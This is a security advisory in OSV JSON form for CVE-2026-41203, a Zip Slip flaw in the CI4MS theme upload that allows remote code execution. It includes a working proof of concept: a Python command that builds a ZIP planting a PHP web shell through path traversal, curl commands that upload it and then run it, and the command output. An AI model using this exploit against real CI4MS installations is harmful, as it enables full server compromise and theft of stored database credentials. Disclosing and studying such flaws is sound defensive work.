CVE-2026-41203: CI4MS Theme Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xv3r-vr59-95rg",
  "modified" : "2026-05-08T19:55:25Z",
  "published" : "2026-04-22T17:29:58Z",
  "aliases" : [ "CVE-2026-41203" ],
  "summary" : "CI4MS Theme::upload is vulnerable to Zip Slip leading to RCE",
  "details" : "### Summary\nci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.\n\n### Details\nmodules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:\n\n```php\npublic function upload()\n{\n    $valData = ([\n        'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'],\n    ]);\n    if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors());\n    $file = $this->request->getFile('theme');\n    $tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/';\n    $zip = new \\ZipArchive();\n    if ($zip->open($file->getTempName()) === true) {\n        $zip->extractTo($tempPath);     // no entry-name validation\n        $zip->close();\n    } ...\n    $log = install_theme_from_tmp($themeName);\n    ...\n}\n```\n\nA ZIP containing entries like `../../public/shell.php` is extracted outside `writable/tmp/` into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.\n\nRouting: modules/Theme/Config/Routes.php binds `POST backend/themes/themesUpload` to Theme::upload with `role=create`. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has `create` on the Theme module, and any admin with that role can trigger it directly.\n\nA companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.\n\n### PoC\nBuild the archive:\n\n```python\npython3 -c \"\nimport zipfile\nwith zipfile.ZipFile('evil_theme.zip','w') as z:\n    z.writestr('../../public/shell.php', '<?php system(\\$_GET[\\\"c\\\"]); ?>')\n    z.writestr('info.xml', '<theme name=\\\"x\\\"/>')\n\"\n```\n\nUpload through the Theme manager with an authenticated session that has theme create:\n\n```bash\ncurl -i -b 'ci4ms_session=<SESSION_ID>' \\\n  -F 'theme=@evil_theme.zip' \\\n  https://target.example.com/backend/themes/themesUpload\n```\n\nTrigger the shell:\n\n```bash\ncurl 'https://target.example.com/shell.php?c=id'\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n### Impact\nAny ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "ci4-cms-erp/ci4ms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.31.5.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xv3r-vr59-95rg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41203"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ci4-cms-erp/ci4ms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-22T17:29:58Z",
    "nvd_published_at" : "2026-05-07T04:16:27Z"
  }
}